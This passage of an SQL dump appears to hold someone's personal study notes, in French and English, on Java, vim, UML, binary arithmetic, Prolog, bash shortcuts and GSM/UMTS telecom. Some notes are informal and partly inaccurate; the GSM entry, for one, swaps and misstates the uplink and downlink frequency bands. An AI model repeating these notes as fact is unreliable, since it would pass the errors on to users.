     +----------+ --+         |\n        jmenu00.add(jmenuitem00)                              |                               |\n                                                              +-------------------------------+\n\n\n\naction generes\n========================\non associe jmenuitem a un ActionListener,\n    puis on gere par actionPerformed\n\n                                   +--+\n                                   |  | Label (simple)\non peut ajouter a un JMenuBar      +--+\n +- JCheckBoxMenuItem00     <<<----+         +-----------------+\n +- JRadioButtonMenuItem00 -- associee a un  |  ButtonGroup00  |\n |  \'                                       +-----------------+\n |  on les ajoute par .add() a leur conteneur respectif\n |  \'\n |      on les exploite par:\n +-----     isSelected();\n\n','2015-02-20 21:06:52'),(771,'#vim -current-line-in-middle -apovoany -milieu',NULL,'zz',NULL,'2015-02-20 20:49:05'),(772,'#java -setToolTipText',NULL,NULL,'\nassociee souvent a:\n    JMenuItem\n    JCheckBoxMenuItem       [ifk]\n    JRadioButtonMenuItem    [ifk]\n\nex:\n    JMenuItem jmenuitem01 = new JMenuItem(\"menuitem01\");\n    jmenuitem01.setToolTipText(\"this is a tool_tip_text\");\n    jmenuitem01.setToolTipText(\"Create new file\");\n                                |-------------+-|\n                                              |\n+--------------------------------------+----+ |\n| jframe                               | X  | |\n+-------+------------------------------+----+ |\n|x File |                                   | |\n+|------+                                   | |\n||                                          | |\n||                                          | |\n||                                          | |\n++------------------------------------------+ |\n |                                            |\n |   +-----------+      +-----------------+   |   this is shown when the mouse\n |   |  New      +------+ Create new file +---+---  pass by this section\n +---+-----------+      +-----------------+\n     |  Save     |\n     +-----------+\n     |  Close    |\n     +-----------+\n\n\n','2015-02-20 21:16:47'),(773,'#java -ellipse',NULL,NULL,'\nellipse est utilisee a la place d_un tableau sur une argument des fonction|procedure\n\npublic double sum(int ... ints) {\n	double res = 0;\n\n	for (int i = 0; i < ints.length; i++ ){\n		res += ints[i];\n	}\n\n	return res;\n}\n','2015-02-20 22:01:13'),(774,'#java -contrainte-generic',NULL,NULL,'\nOn ne peut pas instancier de tableaux d’éléments d’un type générique\nex, on peut pas faire:\n    LinkedList<String> [] llArray = new LinkedList<String>();\n','2015-02-20 22:05:45'),(775,'#java -generic -intro',NULL,NULL,'\non parle de programmation generic quand on programme\n    sur des objets de type qlcq\n    \'\n    ex, on programme a coupler deux_classes de type differents\n        ie on peut associer objet01 a objet02\n        sachant que           ^            ^\n          objet01 est une     |            |\n          instance de         +--------+   +---+--------+ \n          class01 ou          | class01|       | class01| \n          class02             +--------+       +--------+ \n          --                  | class02|       | class02| \n          meme cas pour       +--------+       +--------+ \n          objet02             | .....  |       | .....  | \n                              +--------+       +--------+ \n\nex:\n========================\n                 +----+-- utiliser lors de l_instanciation\n                +++   |     voir l_instanciation\n                | |   +-- ceci est appellee parametre de type\n >> class Couple<T>{ \n |\n |  +>> private T x, y ;    // les deux elements du couple\n |  |   \n |  |   public Couple (T premier, T second){ \n |  +-      x = premier ;\n |  +-      y = second ;\n |      }\n |\n >> }\n\n    on peut faire donc:\n        Couple <Integer> ci = new Couple<Integer> (oi1, oi2) ;\n    mais on ne peut pas faire:\n        Couple <int> c ;\n\n\nune autre ex d_utilisation\n=============================\nLinkedList implemente Collection\ndonc il est possible d_utiliser\n    LinkedList<String>  ls01 = new LinkedList<String>();\n\n\n\n++\n\nil est aussi possible de faire plusieurs parametres lors de programmation generic\n    class Couple<T, U> {\n        \n        private T x;\n        private U y;\n\n        ...\n    }\n\n','2015-03-12 13:58:22'),(776,'#java -generic-method',NULL,NULL,'\n +-----\n |    un ex de methode generic\n +-----\n |\n |      seulmt pour dire   --+      +-pour dire                    +--argument du fonction\n |      que T est une classe |      | que T est un valeur de       |\n |      de type generique  --+      +-     retour                  |\n |                           |      |                              |\n |                         .-+-.    v                           .--+-------.\n |   +- static              <T>     T               hasard (    T [] valeurs    ){ \n |   |      int n = valeurs.length ;                `-+--`\n +---+      if (n == 0) return null ;                 +---- ceci est le nom du fct\n     |      int i = (int) (n * Math.random() ) ;\n     |      return valeurs[i] ;\n     +- }\n    \n     \n                                               ceci va afficher un nb au hasard venant de     -+\n                                                       {1, 5, 8, 4, 9}                        -+\n                                                                                               |\n    main() {                                                                                   |\n        Integer[] tabi = { 1, 5, 8, 4, 9} ;                                                    |\n        System.out.println (\"hasard sur tabi = \" + hasard (tabi) ) ;            <<<------------+\n        String [] tabs = { \"bonjour\", \"salut\", \"hello\"} ;\n        System.out.println (\"hasard sur tabs = \" + hasard (tabs) ) ;            <<<<-----------+\n    }                                                                                          |\n                                                    va afficher un str au hasard venant de    -+\n                                                             tabs                             -+\n\n\n','2015-02-20 22:50:23'),(778,'#java -DataOutPutStream -FileOutPutStream -sequentiel-binary',NULL,NULL,'\nla majorite des actions lance IOException\n\nifk: pour ouvrir une flux_sortie\n    DataOutputStream fl_sortie = new DataOutputStream( \n        new FileOutputStream (nomfich)\n    ) ;\n\npour ecrire \"int\" dans la flux    \n    fl_sortie.writeInt(4);\n		sache que lors de l_ecriture dans le fichier\n			il sera ecrit en binaire\n\nn_oublie pas que presque tout doit se passer a l_interieur de\n    try{ ... } \n    catch (IOException ioe) {  }\n\non doit tjr fermer la flux apres que l_action est fait\n    fl_sortie.close();\n','2015-02-21 00:16:52'),(779,'#vim -abbreviation in-insert-mode_automatically',NULL,NULL,'\n:abbrev p potatoes\n    then when u type p<space>\n        u will get potatoes in the buffer automatically\n    and if you type p<tab>\n        u will get potatoes<tabulation> in the buffer automatically\n\nto clear all abbreviation\n	:abc\n\nto unabbreviate\n	:una rtfm','2015-02-21 00:27:14'),(780,'#vim -plugin -delimitmate',NULL,NULL,'\ninstall:\n    cd\n    git submodule add git://github.com/Raimondi/delimitMate.git\n    mv delimitMate/ .vim/bundle/\nnow it is installed\n\nto get help\n    :help delimitmate\n\ntest\n    vi\n    try to type in insert_mode\n    ()\n    {}\n    []\n    \n','2015-02-21 00:48:11'),(781,'#vim -sketch -plugin',NULL,NULL,'\ninstall\n================================\n    dl: http://www.vim.org/scripts/download_script.php?src_id=2667\n    extract that file\n         +- sketch.vim\n         +- sketch.tut\n\n    mv sketch.vim ~/.vim/plugin\n\nhow I used it:\n    vi ~/.vimrc\n    map <c-m>sketch :call ToggleSketch() <CR>\n    \'\n    then, when I type \n        <c-m>sketch\n    sketch will be activated\n','2015-02-21 01:05:24'),(782,'#java -exception -intro',NULL,NULL,'\nclass ErrConst extends Exception{ }                       +--- cette methode\n                                                          |      pE avoir lancer ces\nclass Err01 extends Exception{ }                          |      exceptions OU PAS\n                                                          |\nclass class00{                                            |\n    public void meth00() throws ErrConst, Err01{   <<-----+\n\n    }\n}\n','2015-02-22 00:36:58'),(785,'#java -methode-with-throws',NULL,NULL,'\nles methodes avec throws extException,\n    soit il possede\n        ..... { throw new extException()}\n    ou bien, il possede\n        ..... { \n            try{} \n            catch(extException extExc00){}\n            }\n','2015-02-22 00:54:17'),(786,'#java -finally -exception',NULL,NULL,'\ninstr01\ntry{\n    ...\n}catch(){\n    ...\n}\nfinally{\n    ...\n}\n\ncela veut dire que:\n    le prg passe dans try{ ... }\n    s_il entre dans catch(){ ... } ou pas\n        le prg _doit_tjr_ entrer dans finally{ ... }\n','2015-02-22 01:16:16'),(787,'#des_p -type','\nhttp://www.tutorialspoint.com/design_pattern/design_pattern_overview.htm\ncreational patterns\n    provide a way to create obj while hide the creation logic\n\nstructural patterns\n    concern class and object composition\n    concept of inheritance is used to compose interface\n        then define ways to compose objects\n\nbehavioral patterns\n    concerned with communication between objects.   \n\nj2ee pattern\n    concerned with the presentation tier\n',NULL,NULL,'2015-02-22 05:48:41'),(788,'#des_p -glimpse','\nfactory pattern\nabstract factory pattern\nsingleton pattern\nbuilder pattern\nprototype pattern\nadapter pattern\nbridge pattern\nfilter pattern\ncomposite pattern\nfacade pattern\nflyweight pattern\nproxy pattern\n\ncommand pattern\ninterpreter pattern\niterator pattern\nmediator pattern\nmemento pattern\nobserver pattern\nstate pattern\nnull object pattern\nstategy pattern\ntemplate pattern\nvisitor pattern\n',NULL,NULL,'2015-02-22 05:57:33'),(789,'#java -variables -pass_by-reference -by-value','Objects and primitives are passed by value',NULL,NULL,'2015-02-22 06:41:09'),(790,'#java -class-loader','\nThe very first class is especially loaded with \"static main()\"\n	All the subsequently classes will be loaded from the classes in that meth\n',NULL,NULL,'2015-02-22 06:46:41'),(791,'#uml -intro','\numl was created by omg in 1997\numl is a pictorial language used to make software blue prints\n\nit is mostly used to model software sys\n    but it can model non software systems as well like process flow in a manufacturing unit\n\ngoals:\n====================================\nA picture is worth a thousand words\n\nto define some general purpose(idea)\n    the idea will be easy to understand and to use\n\nUML diagrams are not only made for developers but also for business users\n    The system can be a software or non software.\n\nUML describes the real time systems\n\n\n\n\na conceptual model is required\n    a model which is made of concepts and the relationships of those concepts.\n    the first step before drawing a UML diagram.\n        It helps to understand the entities in the real world and how they interact with each other.\n    \'\n    as uml describes the real time systems, then the conceptual model will be done gradually\n    \'\n    conceptual model of uml can be mastered by understanding the following 3elts:\n        uml building blocks\n        rules to connect the building blocks\n        common mechanisms of uml\n\n\n\n\noo concepts:\n    objects contains both data and methods(control the data)\n        data(represents the state of the object)\n    objects are the real world entities\n    \'\n    Following are some fundamental concepts of object oriented world\n        objects\n        class\n        abstraction:    represents the behavior of an real world entity\n        encapsulation:  the mechanism of binding the data together and hiding them from outside world.\n        inheritance:    the mechanism of making new classes from existing one\n        polymorphism:   defines the mechanism to exists in different forms\n\n\n\noo analysis and design\n    oo_analysis:    the investigation of objects\n    design:         the collaboration of identified objects\n',NULL,NULL,'2015-02-22 06:49:44'),(792,'#fs -mmt|nonickn-file-architecture','\nthe uuid will be get by using:\n    blkid\nsome information will be gotten from\n    df\n    fdik -l\n\nhere I will try to define how all my files are saved in my hdds:\nI have 3 hdds:\n    little_seagate(320G)\n    sn: W045P05A\n        84G\n            /media/03542841-3000-4d54-8be0-36331794bb72\n            uuid:   416f5a0d-b6d2-4f44-84ae-a1c2166d5bb9\n        21G\n            /media/a6a5a339-67d7-4b08-98c9-5ff3f153c7ca\n            uuid:   208a16d7-719c-4cb8-910b-784a3becf466\n        105G\n            /media/2b023182-a68c-480f-8f7f-e4925fe84c7f\n            uuid:   2b023182-a68c-480f-8f7f-e4925fe84c7f\n        18G\n            /media/32b87c5e-1f65-476e-b5fc-87ecf32078c8\n            uuid:   32b87c5e-1f65-476e-b5fc-87ecf32078c8\n        84G\n            /media/FE0C41EF0C41A40D\n            uuid:   FE0C41EF0C41A40D\n\n    samsung(160G)\n    s/n:    S0V3J9CQ874295\n        81G\n            /media/3468031A6802DA8E\n            uuid:   208a16d7-719c-4cb8-910b-784a3becf466\n        79G\n            uuid:   88AAF0B7AAF0A2BC\n    \n    \n    western_digital(500G)   \n        500G\n            uuid:   C0B83B4BB83B3EEA    \n',NULL,NULL,'2015-02-22 09:40:39'),(793,'#tel_m -generation','\n1G      Radiocom 2000   Radiocom 2000 France Telecom\n        NMT             Nordic Mobile Telephone\n2G      GSM             Global System for Mobile Communication\n2.5G    GPRS            General Packet Radio Service\n2.75G   EDGE            Enhanced Data Rate for GSM Evolution\n3G      UMTS            Universal Mobile Telecommunications System\n3.5G    HSDPA           High Speed Downlink Packet Access\n        HSUPA           High Speed Uplink Packet Access\n3.75G   HSOPA           High Speed OFDM Packet Access\n4G      LTE             Long Term Evolution\n        WIMAX           Worldwide Interoperability for Microwave Access\n\n\n\n\n\n\n\n\nlong-list\n=================================================\n0G\n    PTT\n    MTS\n    IMTS\n    AMTS\n\n0,5G\n    Autotel/PALM\n    ARP\n\n1G\n    NMT\n    AMPS\n    Hicap\n    CDPD\n    Mobitex\n    DataTac\n    TACS\n    RC2000\n    C-NETZ\n    Comvik\n    NTT\n\n2G\n    GSM\n    iDEN\n    D-AMPS\n    CDMA\n    PDC\n    SD\n    IS-95\n    IS-136\n    DCS 1800\n    DECT\n\n2,5G\n    GPRS\n    HSCSD\n    WiDEN\n\n2,75G\n    CDMA 2000 1xRTT\n    EDGE\n\n3G\n    W-CDMA\n    UMTS\n    FOMA\n    CDMA 2000 1xEV\n    TD-SCDMA\n\n3,5G\n    HSDPA\n\n3,75G\n    HSUPA\n\n4G\n    HC-SDMA\n    iBurst\n    LTE\n    WiMAX\n\n',NULL,NULL,'2015-02-22 11:59:04'),(794,'#java -heritage -abstract -inheritance -interface',NULL,NULL,'\nsupposons dans la foret, \n    on veut programmer le monde des animaux\n=============================================\nqui dit \"point commun\" dit heritage\ntout les animaux possedent:\n    un couleur, facon_manger, facon_deplacer, poids, cri, ....\n    il y a point_commun pour tout les animaux, donc\n    \'\n              +-----------------------+\n              | Animaux               |\n              +-----------------------+\n              | couleur               |\n              | poids                 |\n              +-----------------------+\n              | facon_manger()        |\n              | facon_deplacer()      |\n              | crier()               |\n              +-----------------------+\n    \'\n    puis vient les (loup, chien, chat, lion, ....) qui prend tout les proprietes et \n        les facons de faire ce que les animaux(class animal) font et possedent\n    \n                                  +-----------------------+\n                                  | Animaux               |\n                                  +-----------------------+\n          +-------------->        | couleur               |\n          |                       | poids                 |\n          |                       +-----------------------+\n          |              +--->    | facon_manger()        |       <------+\n          |              |        | facon_deplacer()      |              |\n          |              |        | crier()               |              |\n          |              |        +-----------------------+              |\n     +----+----+    +----+------+                                   +----+-----+\n     |  Loup   |    |           |      ^   +--------------+         | Lion     |\n     +---------+    |  Chat     |      |   |   Chien      |         +----------+\n     |         |    +-----------+      +---+--------------+         |          |\n     +---------+    |           |          |              |         +----------+\n                    +-----------+          +--------------+\n\n\n\n','2015-02-22 18:15:24'),(795,'#internet -basis','tout l_internet se pose sur 3types d_operateurs:\n    isp | prestataire de srvc\n    fournisseurs d_access\n    operateur de transport\n\nisp est le proche des internautes\n    ex d_isp:\n        telma, blueline, ...\n    \nechange entre client et isp\n    client donne de l_argent a l_isp\n    isp donne abonnement\n        adresse mail au client\n\nschema basique de l_internet\n                             +----------------------------------------+---------------------------------------+\n        client_internet      |     entreprise   ----+                 |      +--  internaute              ----+--+        operateur de \n ----------------------------+----------------------|-----------------+------+--------------------------------+  |\n                             |    fournisseur       |                 |      +->> prestataire de srvc     --+ <<<+ --+    transport de\n        service_internet     |        d_         <<-+                 +-------------------------------------+-+      |    \n                             |     access                ---+         |                                  <<-+ |<<<<<-+    telecommunication\n-----------------------------+------------------------------|---------+---------------------------------------+\n        reseau_internet      |     operateur de transport  <+               --+                               |\n ----------------------------+------------------------------------------------|-------------------------------+\n                             |   operateur de cablage                       <<+                               |\n                             +--------------------------------------------------------------------------------+\n\nsi un prestataire de srvc donne de l_abonnement a ses clients,\n    il doit etre d_abord etre connectee a internet\n    pour cela, le prestataire de service doit louer une connection_internet \n        a un ( fai | iap ), et doit acheter un nom de domaine\n    \'\n    le nom de domaine est attribuer par icann (apnic + arin + ripe)\n\n(#097 i_thought:\n    client -------->>> fai\n    maintenant c:\n        client ------------>>> prestataire_srvc --------->>> fai\n#098)\n                                                                   \n',NULL,NULL,'2015-02-22 19:16:29'),(796,'#so -intro','\nici l_ordi est le travailleur(l_employee)\nPour travailler, l’employé est au centre des traitements,\n    on lui remet dans un dossier le travail à faire(information d_entree)\n    dans un autre dossier il devra mettre le travail fait (informations en sortie)\n     \n                         +------------------+\n        +--------+       |+----------------+|        +-----------+\n        | entree +----->>|| sys de traitmt ++------>>|  sorties  |\n        +--------+       |+----------------+|        +-----------+\n                         +------------------+\n\npour exe son travail, l’employé peut avoir besoin de réaliser des calculs\n    il dispose pour cela d’une calculatrice(unitee de calcul)\n\nl’employé va noter sur un brouillon les instructions qu’il a reçues et qui constituent son __programme__ de travail,\n\nl_employee a besoin de noter a besoin de noter des info sur les donnees dont il va traiter\n    c_est la memorisation_des_instructions(ifk: par ou il s_est arretee la derniere fois)\n    cette memoire vit ----->> c_est la __memoire_vive__\n\nl_employee a besoin de stocker certains informations comme la tva, qu_il va memoriser une fois pour toute\n    c_est une memo qui ne vit pas :: __memo_morte__\n\ncertains info sont trop gd pour etre memorisees de tete par l_employee(catalogue des prix, addr_client, ...)\n    on introduit la memorisation_externe ou auxiliaire\n\n\n',NULL,NULL,'2015-02-24 09:50:45'),(797,'#binaries -equivalence-power','\n2^-n                    n             2^n\n-------------------------------------------------\n1                       0             1\n0.5                     1             2\n0.25                    2             4\n0.125                   3             8\n0.0625                  4             16\n0.03125                 5             32\n0.015625                6             64\n0.0078125               7             128\n0.00390625              8             256\n0.001953125             9             512\n0.0009765625            10            1024\n',NULL,NULL,'2015-02-24 10:18:14'),(798,'#binaries -operations','\n            1 1 0 0     |   1 0 0\n                        +---------------\n       -    1 0 0            1        <<<<--- ty no mande voloo\n    -----------------        |\n            0 1 0 0          +--------+\n       -      1 0 0          1        |\n   -------------------                |\n              0 0 0   +---------------+\n                      v\ndonc le resultat est (11)b2\n\nexo:\n    1 0 1 1 0 0 diviser par 1 0 0 egal 1 0 1 1 \n\n====================================================================\n                                        +-----------+\n                                     +--+-----+     |\n(4.25)b10                            |        |     +----- 1 . (1 / 4)\n1.2^2 + 0.2^1 + 0.2^0 + 0.(2^(-1)) + 1.(2^(-2))                |     |\n|                   |   |                     |                +--+--+\n+---+---------------+   +---+-----------------+                   +- = 0.25\n    +---- = 4               +-- = 0.25\n\n\n\n\n2^-n                    n             2^n \n1                       0             1\n0.5                     1             2\n0.25                    2             4\n0.125                   3             8\n0.0625                  4             16\n0.03125                 5             32\n0.015625                6             64\n0.0078125               7             128\n0.00390625              8             256\n0.001953125             9             512\n0.0009765625            10            1024\n',NULL,NULL,'2015-02-24 10:20:10'),(799,'#so -notion-mot','\n0000 0000 0000 0000 0000 0000 0000 0000\n========================================\n|  |\n+--+\n+--quartet\n\n|       |\n+-------+\n+--octet(demi-mot)\n\n|                  |\n+------------------+\n+-- mot de 16bits\n\n|                                      |\n+--------------------------------------+\n+----------  double_mots\n',NULL,NULL,'2015-02-24 10:25:24'),(800,'#so -entiers-signees','\nnormalement, (27)b10 = 1 1 0 1 1\n\ndans un entier signee, \n    (27)b10 est 0 1 1 0 1 1\npour que (-27)b10 soit\n    1 1 1 0 1 1\n',NULL,NULL,'2015-02-24 10:27:50'),(801,'#uml -9-diagrammes','\nselon le livre de morley(UML POUR L’ANALYSE D’UN SYSTÈME D’INFORMATION)\nil y a 9 diagrammes pour uml\n    le livre ne presente que 7 diagrammes\n1  diagramme de classes ;                -+-- pour l_aspect statique du sys\n2  diagramme d’objets ;                  -+\n\n3  diagramme d’états-transitions ;       -+-- pour l_aspect dynamique du sys\n4  diagramme d’activités ;                |\n5  diagramme de collaboration ;           |\n6  diagramme de séquence ;                |\n7  diagramme de cas d’utilisation.       -+\n\n8 le diagramme de composants ;           -+-- pour les informaticiens\n9 le diagramme de déploiement.           -+\n\n',NULL,NULL,'2015-02-24 10:40:52'),(802,'#uml -diagr-classe','\nles informations sont regroupees par des classes\ncontient principalement des classes\n    ainsi que leurs associations\n\nmodelise les entites du sys_informations\n',NULL,NULL,'2015-02-24 10:45:00'),(803,'#prolog -charging-files',NULL,NULL,'\nswipl -f /path/file00\n','2015-02-24 14:54:58'),(804,'-predicat #prolog -argument',NULL,NULL,'\nin book of prolog, in error_msg of prolog u may see something like this:\n    =/2     this means, the built-in = in prolog must have 2arg\n        so u can do         =(val00, val00).\n    help/2\n        this means the function _help_ has 2arguments\n','2015-02-24 14:57:12'),(805,'#prolog -matching',NULL,NULL,'\nthose will be true,\n    ?- =(mia, mia).\n    ?- mia=mia.\n    ?- mia = mia.\n    ?- mia= mia.\n    ?- 2 = 2 .\n    ?- \'mia\' = mia.\n\nthose will be false.\n    ?- \'2\' = 2 .\n    \'\n    X = mia , X = vincent .\n','2015-02-24 15:08:59'),(806,'#ff -new-tab','<c-t>',NULL,NULL,'2015-02-24 18:20:43'),(807,'#ff -history',NULL,NULL,'sqlite3 ~/.mozilla/firefox/*.[dD]efault/places.sqlite \"SELECT strftime(\'%d.%m.%Y %H:%M:%S\', visit_date/1000000, \'unixepoch\', \'localtime\'),url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER BY visit_date;\"','2015-02-25 04:41:58'),(808,'#network -external#ip #linux',NULL,'dig +short myip.opendns.com @resolver1.opendns.com',NULL,'2015-02-25 04:44:37'),(809,'#linux -get-beep',NULL,NULL,'\ndo not forget to check in gnome-terminal\n    Edit > \'Profile Preferences\' > \'Terminal Bell\'\n\n\n    echo -ne \'\\007\'\n    echo -e \'\\a\'\n','2015-02-25 04:49:47'),(810,'#hardinfo -hoardware-information -tools','\napt-get install hardinfo\nhardinfo\n',NULL,NULL,'2015-02-25 05:31:19'),(811,'#cache -gen_c -intro','\nCache is a high-speed access area that can be either a reserved section of main memory or storage device\nThe two main cache types are \n    memory cache \n    disk cache\n\nMemory cache is a portion on memory of high-speed static RAM (SRAM)\n    static RAM (SRAM) and is effective because most programs access the same data or instructions over and over.\n    \'\n    Today, most computers come with L3 cache or L2 cache\n',NULL,NULL,'2015-02-25 05:47:59'),(812,'#youtube-dl #yt_dl -select-vid-quality',NULL,'youtube-dl -F link00',NULL,'2015-02-25 05:52:15'),(813,'#youtube-dl #yt_dl -select-vid-quality',NULL,NULL,'\nyoutube-dl -F link00\nout:            ^^---------------+\nu have to wait a little bit.     |\n...                              |\n171         webm      audio only |DASH audio   96k , audio@128k (44100Hz), 19.82MiB (worst)\n140         m4a       audio only |DASH audio  131\n                                 |\n                                 |\nif u want to get the 171  + -----+\n    \'                    v\n    youtube-dl -f 171 link00\n\n','2015-03-12 06:46:02'),(814,'#youtube-dl -installation',NULL,NULL,'\ncheck that your pip is installed\n    apt-cache policy python-pip\n\nif pip is installed, then install youtube-dl\n    sudo pip install youtube-dl\n','2015-02-25 06:03:51'),(815,'#bash -shortcuts',NULL,NULL,'\nBash Keyboard Shortcuts\n\nMoving the cursor:\n\n  Ctrl + a   Go to the beginning of the line (Home)\n  Ctrl + e   Go to the End of the line (End)\n  Ctrl + p   Previous command (Up arrow)\n  Ctrl + n   Next command (Down arrow)\n   Alt + b   Back (left) one word      or use Option+Right-Arrow\n   Alt + f   Forward (right) one word  or use Option+Left-Arrow\n  Ctrl + f   Forward one character\n  Ctrl + b   Backward one character\n  Ctrl + xx  Toggle between the start of line and current cursor position\n\nEditing:\n\n Ctrl + L   Clear the Screen, similar to the clear command\n\n  Alt + Del Delete the Word before the cursor.\n  Alt + d   Delete the Word after the cursor.\n Ctrl + d   Delete character under the cursor\n Ctrl + h   Delete character before the cursor (backspace)\n\n Ctrl + w   Cut the Word before the cursor to the clipboard.\n Ctrl + k   Cut the Line after the cursor to the clipboard.\n Ctrl + u   Cut/delete the Line before the cursor position.\n\n  Alt + t   Swap current word with previous\n Ctrl + t   Swap the last two characters before the cursor (typo).\n Esc  + t   Swap the last two words before the cursor.\n\n ctrl + y   Paste the last thing to be cut (yank)\n  Alt + u   UPPER capitalize every character from the cursor to the end of the current word.\n  Alt + l   Lower the case of every character from the cursor to the end of the current word.\n  Alt + c   Capitalize the character under the cursor and move to the end of the word.\n  Alt + r   Cancel the changes and put back the line as it was in the history (revert).\n ctrl + _   Undo\n \n TAB        Tab completion for file/directory names\n\n    For example, to move to a directory \'sample1\'; Type cd sam ; then press TAB and ENTER.\n    type just enough characters to uniquely identify the directory you wish to open.\n\nHistory:\n\n  Ctrl + r   Recall the last command including the specified character(s)\n             searches the command history as you type.\n             Equivalent to : vim ~/.bash_history. \n  Ctrl + p   Previous command in history (i.e. walk back through the command history)\n  Ctrl + n   Next command in history (i.e. walk forward through the command history)\n   Alt + .   Use the last word of the previous command\n  Ctrl + s   Go back to the next most recent command.\n            (beware to not execute it from a terminal because this will also launch its XOFF).\n  Ctrl + o   Execute the command found via Ctrl+r or Ctrl+s\n  Ctrl + g   Escape from history searching mode\n\nProcess control:\n\n Ctrl + C   Interrupt/Kill whatever you are running (SIGINT)\n Ctrl + l   Clear the screen\n Ctrl + s   Stop output to the screen (for long running verbose commands)\n Ctrl + q   Allow output to the screen (if previously stopped using command above)\n Ctrl + D   Send an EOF marker, unless disabled by an option, this will close the current shell (EXIT)\n Ctrl + Z   Send the signal SIGTSTP to the current task, which suspends it.\n            To return to it later enter fg \'process name\' (foreground).\n','2015-02-25 07:14:09'),(818,'#pcs -intro','\npcs = personal communication srvc\n\nspecifications for different Personal Communication Services (PCS) systems vary among the different PCS networks. \n    ifk: gsm is one of pcs, and it has its own specification\n',NULL,NULL,'2015-02-25 08:37:13'),(819,'#umts -intro -long-list','\nbased on the GSM standards, \numts is a mobile cellular system in the third generation\numts is maintained by 3GPP\n\numts is sometimes compared with cdma2000_networks\nifk: cdma2000 is the opponent of umts\n\numts uses wcdma\n    Currently, WCDMA networks are deployed in UMTS band of around 2 GHz in Europe and Asia, including Japan and America Korea\n    wcdma is now deployed in many countries\n    u have to check wcdma (873) and hspa\n        hspa is deployed over the WCDMA network \n            on the same carrier\n                for high capacity and high speed solution\n            or\n            using another carrier\n        in both case,\n            WCDMA and HSPA can share all the network elements in the core network \n                and the radio network\n                (bts, rnc, sgsn, ggsn)\n            WCDMA and HSPA also share the site base station antennas and antenna cables\n\nThe upgrade WCDMA HSPA requires \n    new software\n    new equipment \n        in the bts\n        RNC \n    to support the rate and higher data capacity\n\nBecause of the shared infrastructure between WCDMA and HSPA\n    the cost of the upgrade WCDMA HSPA is very low \n    compared to the construction of a new stand-alone data network\n\n\nin umts every_entities should be ip\n    simple ip is not enough, many technology are introduced as\n        tunneling, virtualisation( ifk: vlan), ...\n        \'\n        so there are: mobility, security, better qos\n   Each UMTS subscriber has a dedicated home network with \n        which it shares a secret key Ki long term\n        \'\n        hlr keeps track of the current location of all the home network subscribers\n\nMutual authentication between a mobile station and a visited network is carried out \n    with the support of the current GSN (SGSN) and the MSC/VLR\n\nUMTS supports encryption of the radio interface and the integrity protection of signaling messages\n',NULL,NULL,'2015-03-06 04:36:52'),(820,'about-modulation #telec','\nmodulation is a form of change process where we change the input information into a suitable format for the transmission medium\nWe also changed the information by demodulating the signal at the receiving end\n',NULL,NULL,'2015-02-25 08:42:43'),(821,'#adc -intro','\nadc: analog to digital converter\nfrom analog, the freq is the most important\n    analog -> [Hz]\nto digital, u say about bits\n    digital -> [bps]\n                bits per second\n',NULL,NULL,'2015-02-25 09:25:02'),(822,'#telec -imei -imsi -tmsi -intro','\nimei\n=================\nidentifies a mobile station internationally. a kind serial number\nit is stored in the eir\nit is allocated by the equipment manufacturer\n\'\nIMEI = TAC + FAC + SNR + SP\n    tac: 6 decimal places, centrally assigned   \n    fac: 6 decimal places, assigned by the manufacturer.\n    snr: 6 decimal places, assigned by the manufacturer.\n    sp: 1 decimal place.\n\n\n\n==================\n#imsi-------------\ndifferent subscribers_identity are used, and they are used in different phases of call setup\n\'\nimsi is the first nb_identity of the subscriber\n    it is assigned permanently to that subscriber\n\nEach registered user is uniquely identified by its imsi\n\nimsi is stored in the sim\nit is 15digits\nThe IMSI is used to acquire the details of the mobile \n    in the HLR or \n    in the VLR\n\'\nimsi = mcc + mnc + msin\n    mcc: 3 decimal places, internationally standardized.\n    mnc: 2 decimal places, for unique identification of mobile network within the country.\n    msin: Maximum 10 decimal places, identification number of the subscriber in the home mobile network\n\nAfter the subscriber’s IMSI has been initialized on the system\n    the TMSI can be used for sending backward and forward across the network to identify the subscriber\n    \'\n    The system automatically changes the TMSI at regular intervals\n        for the security of the subscriber\n        with the lai    \n',NULL,NULL,'2015-02-28 04:03:18'),(817,'#gsm -history','\n1982	CEPT establishes a GSM group in order to develop the standards for a pan-European cellular mobile system.\n\n1985	A list of recommendations to be generated by the group is accepted.\n\n1986	Field tests are performed to test the different radio techniques proposed for the air interface.\n\n1987	Time Division Multiple Access (TDMA) is chosen as the access method (with Frequency Division Multiple Access [FDMA]). The initial Memorandum of Understanding (MoU) is signed by telecommunication operators representing 12 countries.\n\n1988	GSM system is validated.\n\n1989	The responsibility of the GSM specifications is passed to the European Telecommunications Standards Institute (ETSI).\n\n1990	Phase 1 of the GSM specifications is delivered.\n\n1991	Commercial launch of the GSM service occurs. The DCS1800 specifications are finalized.\n\n1992	The addition of the countries that signed the GSM Memorandum of Understanding takes place. Coverage spreads to larger cities and airports.\n\n1993	Coverage of main roads\' GSM services starts outside Europe.\n\n1994	Data transmission capabilities launched. The number of networks rises to 69 in 43 countries by the end of 1994.\n\n1995	Phase 2 of the GSM specifications occurs. Coverage is extended to rural areas.\n\n1996	June: 133 network in 81 countries operational.\n\n1997	July: 200 network in 109 countries operational, around 44 million subscribers worldwide.\n\n1999	Wireless Application Protocol came into existence and 130 countries operational with 260 million subscribers.\n\n2000	General Packet Radio Service(GPRS) came into existence.\n\n2001	As of May 2001, over 550 million people were subscribers to mobile telecommunications.\n',NULL,NULL,'2015-02-25 08:24:26'),(823,' -fdma-tdma','\nhttp://www.tutorialspoint.com/gsm/gsm_specification.htm\nspecification of gsm is about:\n    modulation type\n    access methods\n    transmission rate\n    freq band\n    channel spacing\n    speech coding\n    duplex distance\n\n===============================================================\nmodulation type:\n    gsm uses gmsk(gaussian modulation shift keying)\n\naccess method\n    GSM chose a combination of TDMA/FDMA as its method\n        FDMA part involves the division by frequency of the total 25 MHz bandwidth \n            into 124 carrier frequencies of 200 kHz bandwidth.\n        one or more frequ are assigned to one bs\n            each carrier will be divided into 8 by the tdma\n\nfreq band\n    the uplink freq range:  933 - 960 MHz\n    the downlink freq range:    890 - 915 MHz\n    remember the value 25Mhz\n\nchannel spacing \n    it is the separation between adjacent carrier frequencies\n    in gsm it is 200kHz\n\nspeech coding:\n    gsm uses lpc,\n        its purpose is to reduce the bit rate\n        provide a filter which mimics the voice\n        Speech is encoded at 13 kbps\n\nframe duration:\n    in gsm it_s 4.615 mS\n\nSpeech channels per RF channel: 8\n\nDuplex Technique: fdd (previously the wcdma)\n',NULL,NULL,'2015-02-25 14:21:10'),(824,'#vim 